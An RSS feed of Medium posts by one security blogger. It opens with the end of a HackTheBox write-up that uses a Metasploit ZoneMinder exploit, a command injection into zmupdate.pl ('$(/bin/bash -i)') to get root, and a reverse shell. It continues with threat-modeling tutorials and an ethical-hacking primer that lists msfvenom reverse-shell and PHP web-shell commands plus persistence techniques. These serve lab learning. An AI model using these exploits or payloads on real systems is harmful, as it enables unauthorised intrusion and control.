src="https://cdn-images-1.medium.com/max/861/1*KTYs1CGMu-NaGi1B1DBanQ.png" /></figure><p>Since Zoneminder runs locally, we will run a portforward via SSH using a random port (7788)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/859/1*qJmzUq3D6Fb08_rt94G2Xw.png" /></figure><p>Opening 127.0.0.1:8080in the browser, we see the Zoneminder login page. We try some default credentials but they don’t work</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IwpGkYV3RYMQE-2wmfGaug.png" /></figure><p>Let’s search possible exploits in Metasploit</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/917/1*qcGk3yCgWCGuFOC_o7N83A.png" /></figure><p>Let’s use exploit/unix/webapp/zoneminder_snapshots to get a shell. Set the following</p><pre>set RHOSTS 127.0.0.1<br>set RPORT 7788<br>set LHOST 10.10.14.23 (your attacking machine IP address)<br>set TARGETURI /</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*dXdsNVfADtuPV6S7Wd2ciw.png" /><figcaption>Exploit successful</figcaption></figure><p>Next we open up a shell within meterpreter and check what we can do with sudo using sudo -l</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/913/1*w9lGRb7kjKf5vnnSWEdHPw.png" /></figure><p>We see that it is possible to achieve Local Privilege Escalation. Let’s upgrade to python TTY</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/918/1*zTks3PfrRFoXx32GX433xA.png" /></figure><p>After much searching, I found a way to get root access through zmupdate.pl . The user argument in the file is vulnerable to injection, so we passed a directory (/bin/bash) and attached the password to zoneminder that we found earlier:</p><pre>`sudo /usr/bin/zmupdate.pl --version=1 --user=&#39;$(/bin/bash -i)&#39; --pass=ZoneMinderPassword2023`</pre><p>And that’s how we are root!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/915/1*YGOPq4C-WTliXbrny_J2HQ.png" /></figure><p>The shell constantly acted weird so I ran a reverse shell back to my attacking machine to get a stable shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*9uZHWYWDx1tzV6Zbh_c_3w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*cFLpqC7z4ZNrWgfX4fxV-A.png" /></figure><p>With that, we get the root flag!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/421/1*wiTYJHuZnB19pY0n2k0m-w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/388/1*XKOc_JKlT9Bl3qIVyw20YA.png" /><figcaption>root flag</figcaption></figure><p>This was challenging, especially considering that my penetration testing skills were a little rusty. It was a good learning experience, well done to the HackTheBox team for such a solid platform.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f78299ac5046" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Threat Modeling with OWASP Threat Dragon — Part 2]]></title>
            <link>https://medium.com/@iamblacklight/threat-modeling-with-owasp-threat-dragon-part-2-d0196a9bb545?source=rss-9123900415e1------2</link>
            <guid isPermaLink="false">https://medium.com/p/d0196a9bb545</guid>
            <category><![CDATA[owasp]]></category>
            <category><![CDATA[threat-modeling]]></category>
            <dc:creator><![CDATA[iamblacklight]]></dc:creator>
            <pubDate>Sat, 18 Jan 2025 16:23:56 GMT</pubDate>
            <atom:updated>2025-01-18T16:25:06.197Z</atom:updated>
            <content:encoded><![CDATA[<h3>Threat Modeling with OWASP Threat Dragon — Part 2</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*RiZg1IcizMxV2XLhJuoz9Q.jpeg" /></figure><p>Part 1: <a href="https://medium.com/@iamblacklight/home-lab-threat-modeling-with-owasp-threat-dragon-f985be261597">Here</a></p><p><strong><em>Phase 2: Add STRIDE threats to components</em></strong></p><p>In the second phase of this lab, we will be adding threats using the STRIDE framework to different components of the model. We’ll be leaving all threats with the <strong>“status”</strong> as <strong>“Open”</strong> as well as leaving the <strong>“Mitigations”</strong> field empty because they have not been mitigated yet. After adding a threat to a component, the outline changes from black to red to indicate a threat. Since this is an online banking threat model, we will be adding some threats relevant to this context;</p><p>Select the <strong>“Website Dev”</strong> component and click on <strong>“New Threat”</strong> to add a new <strong>“Spoofing”</strong> threat to it. Spoofing threats involve attackers impersonating legitimate users or entities to gain unauthorized access or privileges. This includes scenarios where an attacker masquerades as a trusted user, service, or device.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hYxNVMo9RLcmw4gy9ejYvA.png" /></figure><p>Fill in the following for this threat;</p><ul><li>Title<strong> — “User Impersonation”</strong></li><li>Type — <strong>“Spoofing”</strong></li><li>Status — <strong>“Open”</strong></li><li>Priority — <strong>“High”</strong></li><li>Description — <strong>“Threat actors impersonate legitimate users to gain unauthorized access”</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/786/0*-DtE--hZu7LW5-Ld" /></figure><p>Select the <strong>“HTTP Request”</strong> component and add a new <strong>“Tampering”</strong> threat. Tampering threats involve unauthorized modification or alteration of data or systems. Attackers attempt to change, manipulate, or inject malicious code, potentially causing harm or exploiting vulnerabilities. Fill in the following for this threat;</p><ul><li>Title — <strong>“HTTP Request Manipulation”</strong></li><li>Type — <strong>“Tampering”</strong></li><li>Status — <strong>“Open”</strong></li><li>Priority — <strong>“Medium”</strong></li><li>Description — <strong>“Attackers manipulate HTTP requests”</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/0*_cTRR0gFYovOg4w9" /></figure><p>Select the <strong>“HTTP Response”</strong> component and add a new <strong>“Tampering”</strong> threat. Fill in the following for this threat;</p><ul><li>Title — <strong>“HTTP Response Manipulation”</strong></li><li>Type — <strong>“Tampering”</strong></li><li>Status — <strong>“Open”</strong></li><li>Priority — <strong>“Medium”</strong></li><li>Description — <strong>“Attackers manipulate HTTP responses”</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/779/0*ZNvneb497MbeN08a" /></figure><p>Select the <strong>“Web Transaction Response” </strong>component and add a new <strong>“Informational Disclosure” </strong>threat. Information disclosure threats involve unauthorized access to sensitive or confidential data. Attackers may steal, eavesdrop, or leak sensitive information, potentially leading to privacy breaches or data exposure. Fill in the following for this threat;</p><ul><li>Title — <strong>“Data Exposed”</strong></li><li>Type — <strong>“Informational Disclosure”</strong></li><li>Status — <strong>“Open”</strong></li><li>Priority — <strong>“High”</strong></li><li>Description — <strong>“Sensitive data is intercepted or exposed during transmission”</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/783/0*b7L9da0JjkAQPRRg" /></figure><p>Select the <strong>“Authentication Database” </strong>component and add a new <strong>“Tampering” </strong>threat. Fill in the following for this threat;</p><ul><li>Title — <strong>“Data Manipulation”</strong></li><li>Type — <strong>“Tampering”</strong></li><li>Status — <strong>“Open”</strong></li><li>Priority — <strong>“High”</strong></li><li>Description — <strong>“Attackers modify or manipulate stored data”</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/776/0*eVankBn04wvdZC8R" /></figure><p>After adding the above threats, your threat model should look like this. Note the red outlines to indicate that those components have threats assigned to them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*7kJEP-b1bKQP5-n6" /></figure><p><strong><em>Phase 3: Adding mitigations for the threats</em></strong></p><p>In this online banking environment, as threats are being modeled, the appropriate mitigation strategies should be included as well. Now, we’ll be adding mitigation recommendations to the threats just added before now in the <strong>“Mitigations” </strong>field when editing threats. These are basic just for the purpose of this lab.</p><p>Add the mitigations for each component as stated below;</p><ul><li>Click on <strong>“Website Dev” </strong>and select the threat <strong>“User Impersonation”.</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7mTashcVaQxrutPkfXQ9QA.png" /></figure><p>Add the following mitigations:</p><ul><li><strong>Implement strong multi-factor authentication (MFA) mechanisms to verify user identities</strong></li><li><strong>Use CAPTCHA to prevent automated attacks</strong></li><li><strong>Regularly update authentication tokens</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/0*OQpMJjYdG9i7tPEv" /></figure><p>Click on <strong>“HTTP Request” </strong>and select the threat <strong>“HTTP Request Manipulation”. </strong>Add the following mitigations:</p><ul><li><strong>Implement input validation and output encoding</strong></li><li><strong>Use web application firewalls (WAFs)</strong></li><li><strong>Follow secure coding practices</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/781/0*ko-JkaFrDtn3dVhG" /></figure><p>Click on <strong>“HTTP Response” </strong>and select the threat <strong>“HTTP Response Manipulation”. </strong>Add the following mitigations:</p><ul><li><strong>Implement input validation and output encoding</strong></li><li><strong>Use web application firewalls (WAFs)</strong></li><li><strong>Follow secure coding practices</strong></li></ul><p>Click on <strong>“Web Transaction Response” </strong>and select the threat <strong>“Data Exposed”. </strong>Add the following mitigations:</p><ul><li><strong>Use encryption for data in transit</strong></li><li><strong>Avoid sending sensitive data in URL parameters</strong></li></ul><p><strong>- Restrict access to authorized personnel only</strong></p><p><strong>n URL parameters</strong></p><p>Click on <strong>“Authentication Database” </strong>and select the threat <strong>“Data Manipulation”. </strong>Add the following mitigations:</p><ul><li><strong>Use encryption to protect data at rest</strong></li><li><strong>Employ integrity checks to detect tampering</strong></li><li><strong>Restrict access to authorized personnel only</strong></li></ul><p><strong><em>Phase 4: Create report that captures full model with threats and mitigations</em></strong></p><p>A report is important because it serves as a comprehensive documentation of the entire threat model, its threats, and proposed mitigation strategies. Its significance lies in several key aspects. <strong>Firstly</strong>, it provides a clear and structured record of identified threats and vulnerabilities, ensuring that all stakeholders (developers, architects, and management) have a shared understanding of the security risks associated with the system or application. <strong>Secondly</strong>, the report acts as a foundation for informed decision-making, helping organizations allocate resources effectively to address the most critical security issues. <strong>Thirdly</strong>, it supports regulatory compliance by demonstrating due diligence in assessing and mitigating security risks. <strong>Finally</strong>, the report serves as a reference document for ongoing security efforts, enabling teams to track progress, update threat models as the system evolves, and continuously improve the security posture.</p><ul><li>Click on <strong>“Save”</strong> and <strong>“Close”</strong> to exit the STRIDE diagram.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zzqRR3MZpCC2QVQ-RmdSQQ.png" /></figure><ul><li>Click on <strong>“Report”</strong></li><li>Select the options you need and <strong>“Save PDF”.</strong></li></ul><p>That’s it! You have now come to the end of this lab.</p><p>You’ve been able to;</p><ul><li>Create a threat model for an online bank using 23 components and 2 boundaries</li><li>Add STRIDE threats to 5 components</li><li>Add appropriate mitigations for the threats added</li><li>Create report that captures full model with threats and mitigations</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d0196a9bb545" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Thinking Like A Hacker — Part 2]]></title>
            <link>https://medium.com/@iamblacklight/thinking-like-a-hacker-part-2-43d2e4639e28?source=rss-9123900415e1------2</link>
            <guid isPermaLink="false">https://medium.com/p/43d2e4639e28</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[iamblacklight]]></dc:creator>
            <pubDate>Sat, 18 Jan 2025 15:09:46 GMT</pubDate>
            <atom:updated>2025-01-18T20:59:03.999Z</atom:updated>
            <content:encoded><![CDATA[<h3>Thinking Like A Hacker — Part 2</h3><p>The Ethical Hacker Methodology</p><p>When people think about hacking, they usually imagine someone frantically typing at a keyboard, green text flying across the screen (no thanks to Hollywood movies). The reality is far more methodical and complex, and … slow. I began this train of thought in part 1: <a href="https://medium.com/@iamblacklight/thinking-like-a-hacker-part-1-2548de8656f7">https://medium.com/@iamblacklight/thinking-like-a-hacker-part-1-2548de8656f7</a></p><h4>Let’s continue our dive — R.S.E.M.C</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hzFJZvrGG0dEJ9u5lmMIPA.jpeg" /><figcaption><a href="https://unsplash.com/photos/an-abstract-image-of-a-sphere-with-dots-and-lines-nGoCBxiaRO0">Unsplash</a></figcaption></figure><p><strong>3. Exploitation / Gaining Access</strong></p><p>If we use the analogy of breaking into a house, one might look for unlocked windows, loose door frames, or ways to pick the lock — you’re searching for a vulnerability to exploit. This is where the work put into enumeration pays off.</p><p>Hackers have several “lockpicking” methods (known as attack vectors), some examples:</p><ul><li>Finding systems with default passwords (called credential stuffing)</li><li>Breaking weak passwords (known as brute forcing)</li><li>Exploiting software vulnerabilities</li><li>Manipulating users into giving away their passwords (termed social engineering)</li></ul><p>Generally, we can categorize exploitation into manual and automated exploitation.</p><blockquote>Automated exploitation relies on automated tools to identify and exploit vulnerabilities. These tools are designed to scan systems, detect weaknesses, and execute predefined exploits with minimal human intervention. Automated exploitation is noisy (too many indicators of malicious activity happening), it’s mostly followed when stealth/evasion is not a priority.</blockquote><blockquote>Manual exploitation involves a penetration tester identifying vulnerabilities and crafting custom exploits to take advantage of them. It is best for targeted assessments, such as red team engagements or testing critical systems (imagine testing a hospital system and accidentally shutting down life support). It’s more suitable for large-scale vulnerability assessments or routine security checks.</blockquote><p>A very common exploitation framework is <strong>Metasploit </strong>by Rapid7<strong>. </strong>It comes natively with Kali Linux.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/499/1*KUCqvV5ueYObcuJ2GxrYaQ.png" /></figure><p>Think of Metasploit as the Swiss Army knife of penetration testing. At its core, Metasploit is a collection of tested, ready-to-use tools that security professionals use for penetration testing.</p><p>The Core Components:</p><ul><li><strong>MSFconsole: </strong>This is the main interface where you launch exploits, manage sessions, handle listeners, coordinate your pentesting. Here are some common commands:</li></ul><pre>search [vulnerability]  # Find relevant exploits<br>use [exploit path]     # Select an exploit to use<br>set PAYLOAD [payload]  # Choose what happens after exploitation<br>set RHOST [IP]        # Set the target<br>exploit               # Launch the attack</pre><ul><li><strong>MSFvenom:</strong> This is the payload generator. With MSFvenom, you can create standalone executables, generate shellcode, craft custom backdoors, build encoded payloads to evade detection. Some common commands:</li></ul><pre># Generate a Windows executable payload<br>msfvenom -p windows/meterpreter/reverse_tcp LHOST=[IP] LPORT=[PORT] -f exe &gt; payload.exe<br><br># Create a Python-based payload<br>msfvenom -p python/meterpreter/reverse_tcp LHOST=[IP] LPORT=[PORT] -f raw &gt; payload.py<br><br># Generate a PHP web payload<br>msfvenom -p php/reverse_php LHOST=[IP] LPORT=[PORT] -f raw &gt; shell.php</pre><ul><li><strong>Meterpreter: </strong>This is the advanced payload that gives you extensive control after exploitation. Every pentester is happy with a successfully spawned meterpreter shell.</li><li><strong>Auxilary Modules: </strong>These are for reconnaisance.</li><li><strong>Post-Exploitation Modules: </strong>After gaining access, these modules help with privilege escalation, persistence establishment (more on this soon).</li></ul><p>You can read the full documentation here: <a href="https://www.kali.org/tools/metasploit-framework/">https://www.kali.org/tools/metasploit-framework/</a></p><blockquote>One thing to note: Never completely rely on a tool, always validate.</blockquote><p><strong>4. Maintaining Access / Persistence</strong></p><p>The first step to post-exploitation is to establish persistence. Persistence refers to the methods attackers use to ensure they can regain access to a compromised system after the initial exploit. This involves creating backdoors, modifying system configurations, or installing malicious software that allows continued access even if the initial entry point is closed/unavailable. This phase is essential for simulating real-world attack scenarios, where attackers aim to maintain long-term access to compromised systems for further exploitation, data exfiltration, or lateral movement.</p><p>Here are some example techniques in Windows &amp; Linux environments:</p><p><strong>Windows Persistence Techniques</strong></p><ul><li>Registry modifications — Adding malicious entries to the Windows Registry to execute payloads at startup.</li><li>Scheduled tasks — Creating scheduled tasks to execute malicious payloads at specific intervals or during system startup.</li><li>DLL hijacking — Replacing legitimate Dynamic Link Libraries (DLLs) with malicious ones to execute code when the application loads the DLL.</li></ul><p>Linux Persistence Techniques</p><ul><li>Cron jobs — Adding malicious commands or scripts to cron jobs to execute them at regular intervals or during system startup.</li><li>Systemd service — Creating a custom systemd service to execute a payload at startup.</li></ul><p><strong>5. Covering Tracks</strong></p><p>Covering tracks is the final phase of a penetration test, where the penetration tester aims to remove evidence of their activities to avoid detection. This phase is crucial for maintaining stealth and ensuring that the target remains unaware of the infiltration.</p><p>A small caveat here:</p><blockquote>Penetration testing and red teaming are similar but they serve different purposes and involve distinct methodologies. Penetration testing is a focused, goal-oriented assessment designed to identify and exploit vulnerabilities in a specific system, application, or network.</blockquote><blockquote>Red teaming is a broader, adversarial simulation exercise where a team of security professionals (the red team) mimics real-world attackers to test an organization’s detection and response capabilities.</blockquote><p>Covering of tracks mainly applies to red teaming engagements. Some common techniques for covering tracks include; clearing logs, removing files/artifacts, timestomping (modifying the timestamps of files to make them appear unchanged or to hide when they were created or modified).</p><p>Understanding the five stages of hacking — reconnaissance, scanning &amp; enumeration, exploitation, maintaining access, and covering tracks — is essential for ethical hackers. These stages not only mirror the tactics used by malicious attackers but also provide a structured methodology for simulating real-world threats in a controlled and ethical manner.</p><p>Penetration testing should be part of a plan for continuous improvement of an organization’s cyberposture. This approach enables organizations to strengthen their defenses, prioritize remediation efforts, and gradually reduce the surface area for malicious hackers.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=43d2e4639e28" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Home Lab — Threat Modeling with OWASP Threat Dragon]]></title>
            <link>https://medium.com/@iamblacklight/home-lab-threat-modeling-with-owasp-threat-dragon-f985be261597?source=rss-9123900415e1------2</link>
            <guid isPermaLink="false">https://medium.com/p/f985be261597</guid>
            <category><![CDATA[owasp]]></category>
            <category><![CDATA[threat-modeling]]></category>
            <dc:creator><![CDATA[iamblacklight]]></dc:creator>
            <pubDate>Mon, 30 Sep 2024 08:51:42 GMT</pubDate>
            <atom:updated>2024-09-30T08:51:42.506Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>Threat Modeling with OWASP Threat Dragon — Part 1</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G4Vgr0u2yquhMQNCkNUm9Q.jpeg" /></figure><p><strong><em>Overview</em></strong></p><p>While going through this, you will gain hands-on experience on how organizations use the OWASP Threat Dragon for threat modelling. Threat modelling is a critical skill for cybersecurity engineers and architects to identify potential threats and vulnerabilities within the software development life cycle. Here, you will learn how to create a threat model, identify threats, and assess risks using the Threat Dragon tool. There are different tools which can be used for threat modelling but we will be using OWASP’s tool because it is open source.</p><p>The framework we will be using to classify threats will be STRIDE. It stands for Spoofing, Tampering, Repudiation, Information disclosure, Denial of service, Elevation of privilege.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*IuPJsctIb__f-QkQYyh6OA.png" /></figure><p><strong><em>Enterprise Use-case</em></strong></p><p>A financial services company is creating a new web-based banking platform. They aim to visually identify and map out possible security risks, while also outlining strategies to counter these threats. This exercise will showcase the key benefits of threat modelling:</p><ul><li>By proactively identifying security threats and vulnerabilities early in the development or design phase, the financial institution can take steps to mitigate these risks before they are exploited by malicious actors.</li><li>Identifying and addressing security issues in the early stages of development is generally less costly than fixing them after a product is deployed. Threat modelling helps allocate resources more effectively.</li><li>The threats in this model will be categorized using STRIDE. It offers a common language and framework for security professionals, developers, and stakeholders, facilitating more effective communication and collaboration in addressing security concerns</li><li>Threat Dragon aligns with OWASP’s best practices and guidelines for application security.</li><li>The users / reviewers can export threat models in various formats and generate documentation to help communicate and share the results of the threat modelling process.</li></ul><p><strong><em>Pre-requisite</em></strong></p><p>I’ll be using Kali Linux but any Debian-based Linux distribution would suffice (particularly because of the commands).</p><p>Let’s start up OWASP Threat Dragon.</p><p>Download the “Linux AppImage” version from the official Github repository (<a href="https://github.com/OWASP/threat-dragon/releases">https://github.com/OWASP/threat-dragon/releases</a>).<br>Please note that the latest version as at the time of this writing is <strong>“Threat-Dragon-ng-2.2.0.AppImage”</strong>. The version number will change as the application upgrades, so the processes remain the same except the version will be different.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/751/0*xJGQ3KiLslWmg8Fi" /></figure><p>Change directory to the Downloads folder</p><pre>cd Downloads</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/754/0*FvC-RBzxj3ZmDINA" /></figure><p>Change the Threat Dragon AppImage mode to an executable file</p><pre>chmod u+x Threat-Dragon-ng-2.2.0.AppImage</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/526/0*HsdHPsJ_xXmkkCx5" /></figure><p>Run the AppImage application</p><pre>./Threat-Dragon-ng-2.2.0.AppImage</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/503/0*Vo0DOulTf0tyVDHW" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1vR3Py4L2MyKPi-_bUYQaQ.png" /></figure><p><strong><em>Phase 1: Creating the threat model for the online bank</em></strong></p><p>Click on the <strong>“Start Threat Dragon”</strong> icon to start OWASP Threat Dragon.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*t0d8U3xQfa7bbpR7" /></figure><p>You will be greeted by the welcome screen which has three options — Open an existing threat model, create a new, empty threat model and explore a sample threat model. We want to create our own threat model for the financial institution so we’ll click <strong>“Create a new, empty threat model”</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*K6clLLfD48kOr-Rl" /></figure><p>On this page you will fill in the fields to help provide context for your model, however, only the <strong>“Title”</strong> field is mandatory. Other fields are optional but add more context to the model so we will be filling all fields.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*w4n2JWdfRBo8zv8W" /></figure><p>Fill in the following for the fields:</p><ul><li><strong>“Title”</strong> — Online Bank Threat Model</li><li><strong>“Owner”</strong> — Blacklight</li><li><strong>“Reviewer”</strong> — Cybersecurity Architect</li><li><strong>“High Level System Description”</strong> — A financial institution that is developing a new online banking application. Our focus will revolve around modelling threats and vulnerabilities for this online banking application.</li><li><strong>“Contributors”</strong> — Senior Cybersecurity Engineer</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U7ZscHDGX66KToYHlr9X8w.png" /></figure><p>Click on <strong>“add a new diagram”</strong> to add a visual model. Name it “<strong>e-bank</strong>” and save. There are different options for this kind of diagram but we will be using the STRIDE diagram as this will allow us more details as to the kind of threats we will later be mapping out. Once done, click on <strong>“Save” </strong>and the model will save as a JSON file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KK6o82B_Y2e4OyGj4z-OuQ.png" /></figure><p>When starting up OWASP Threat Dragon, you can click “Open an existing model” and open up the saved JSON file.</p><p>Click on the name <strong>“e-bank”</strong> to edit the STRIDE diagram. Here we begin to add the various components for the threat model.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/691/1*T_tZNRWtmv8jbi-fthYcDg.png" /></figure><p>On this new page, you will see the the four panes you should pay attention to:</p><ol><li>The canvas where you’ll construct the model</li><li>The <strong>“entities”</strong> pane where you can find the <strong>“components”</strong>, <strong>“boundaries” </strong>and <strong>“metadata”.</strong></li><li>The <strong>“properties”</strong> pane where you can tweak the properties of entities including their names, descriptions and if they are out of scope.</li><li>The <strong>“threats”</strong> pane; where we’ll add new threats to the entities</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*9BhF9WzJsxENwmTHBoki3w.png" /></figure><p>Now, to begin drawing up our model, drag the <strong>“Actor”</strong> component to the canvas three times and name them “<strong>Website Dev</strong>”, “<strong>Visitor</strong>” &amp; “<strong>Customer</strong>”. One thing to note about threat models is that they are snapshots of an aspect of the application, the more complex it becomes, the harder it is to track threats and provide proper mitigations. In this instance, we’ll be using three actors to exemplify this.</p><ul><li>The “<strong>Website Dev</strong>” is the webmaster that handles the public web interface.</li><li>The “<strong>Visitor</strong>” is anyone who simply visits the public webpages, they may/may not be a customer.</li><li>The “<strong>Customer</strong>” is an authenticated visitor that now has access to make transactions.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*ag6G7_EWr3ykoOMEBKa4gQ.png" /></figure><p>Next, drag three <strong>“Process”</strong> components to the canvas and name them “<strong>Public Website</strong>”, “<strong>Authentication</strong>”, &amp; “<strong>Transactions</strong>” as seen in the image</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*VIOJMGOIpkcmzTo9yHtM-g.png" /></figure><p>Next add three <strong>“storage”</strong> components and name them <strong>“Public Webpages”</strong>, <strong>“Authentication Database”</strong>, &amp; <strong>“Transaction Database”.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*8YQN3QYlQ82YMnNIVxidzQ.png" /></figure><p>Connect the actors to the processes using the <strong>“Data Flow”</strong> component and label them in the <strong>“properties”</strong> pane as seen below. (Tip: If you’re having difficulty selecting the data flow component, click on the tip of the arrow to select it easily). After connecting all the components, your canvas should look like the image below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*yu1rGr3RuFII1UUY" /></figure><p>Finally, add two <strong>“Trust Boundary”</strong> components as seen below (this models the segmentation of different parts of the application):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*KUsWo-TXEPby_BqnyIpcYg.png" /></figure><p>Label the first <strong>“Trust Boundary”</strong> as <strong>“Web Server Boundary”</strong> and the second as <strong>“Restricted Network”</strong>. The trust boundaries signify borders where data changes its level of trust.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Bsaqhfn3NTW1bdq_" /></figure><p>Save your work and we’ll move to the next phase in part 2.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f985be261597" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Thinking Like A Hacker — Part 1]]></title>
            <link>https://medium.com/@iamblacklight/thinking-like-a-hacker-part-1-2548de8656f7?source=rss-9123900415e1------2</link>
            <guid isPermaLink="false">https://medium.com/p/2548de8656f7</guid>
            <category><![CDATA[enumeration]]></category>
            <category><![CDATA[scanning]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[iamblacklight]]></dc:creator>
            <pubDate>Mon, 26 Jun 2023 05:06:34 GMT</pubDate>
            <atom:updated>2023-06-26T05:06:34.013Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>Thinking Like A Hacker — Part 1</strong></h3><h4>The Ethical Hacker Methodology</h4><p>One of the things that amaze me is how the mind works and it’s ability to be malleable and accommodate new thinking patterns. An ethical hacker follows methodological thinking that soon becomes second nature as it is repeated again and again. This thinking pattern is responsible for some of greatest feats in the cybersecurity domain.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2lizEfewPiQ8wA7i2SanSQ.jpeg" /><figcaption><a href="https://unsplash.com/photos/58Z17lnVS4U?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditShareLink">Unsplash</a></figcaption></figure><h3><strong>Let’s get into the hacker’s brain — R.S.E.M.C</strong></h3><h4>1. Reconnaissance</h4><blockquote><em>Reconnaissance has its origin in the French word “</em>reconnaître”<em> which means to “recognize”</em></blockquote><p>That is basically what reconnaissance is about; it is investigating to see if we can recognize any information that can give us an advantage or leverage <em>(actionable intelligence)</em> as we attempt breaking into a device, network or organization <em>(eg. host information, network infrastructure, security policies etc)</em>. This is the first stage in any ethical hacking endeavor so it’s important to spend enough time to gather as much as possible especially if you haven’t run recon on that target before — the more actionable intelligence you have, the better.</p><p>Reconnaissance is also called footprinting. Have you heard of a digital <em>footprint</em>? It’s basically all the information that exists on the internet as a result of your online activity. Footprinting = finding the target’s digital footprint. I’m sure you get the idea now.</p><p>Reconnaissance comes in two flavors: Passive Reconnaissance &amp; Active Reconnaissance</p><ul><li><strong>Passive Reconnaissance: </strong>In passive recon, you gather information without directly interacting with the target. In this instance, the target does not know the attacker is gathering information on it/them. Most information gathering here is from publicly available sources which is called Open Source Intelligence (OSINT).</li></ul><p>There are a plethora of tools to use when it comes to OSINT but let me give you two resource where you can find 100+ resources to help gather information on your target:<br><a href="https://osintframework.com/">https://osintframework.com/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BPEyPUPLfSsE63Buhz7SAw.png" /><figcaption><strong>OSINT Framework</strong></figcaption></figure><p><a href="https://start.me/p/aLGJ1j/osint">https://start.me/p/aLGJ1j/osint</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yAG-gXPgmHuOejNkFvpvRw.png" /></figure><ul><li><strong>Active Reconnaissance: </strong>In active recon, you gather information by directly interfacing with the target. This method is generally faster and more accurate with more real-time information. However, it also has the tendency of generating noise within the system and there is a higher chance of being detected (although a lot of organizations tend to have poor security hygiene so you may not be detected, but either way, be wary).</li></ul><blockquote>A good rule of thumb is to use passive recon to gather breadth and use active recon to gain depth and accuracy. It’s not always applicable in every instance, but it’s a good way to start.</blockquote><h4>2. Scanning &amp; Enumeration</h4><p>This stage involves accumulating information about the ports, services and resources available on a list of targets gathered from the reconnaissance stage. The aim is to find the services that are known and reachable from your source. Information gathered during this phase is also traditionally used to determine the operating system (or firmware version) of the target devices.</p><p>The key focus of this stage is to identify security vulnerabilities within systems and networks. Here are some things to pay attention to:</p><ul><li><strong>Network scanning</strong>: Scanning the target’s network to discover IP addresses, operating systems, topology, etc.</li><li><strong>Port scanning</strong>: Scanning the target for open ports and running services.</li><li><strong>Vulnerability scanning</strong>: This scanning technique identifies a target’s weaknesses and attempts to exploit those bugs in various ways. It is carried out using automated tools such as Nessus, OpenVAS, Nikto, and others. One resource to use is the <a href="https://nvd.nist.gov/">National Vulnerability Database 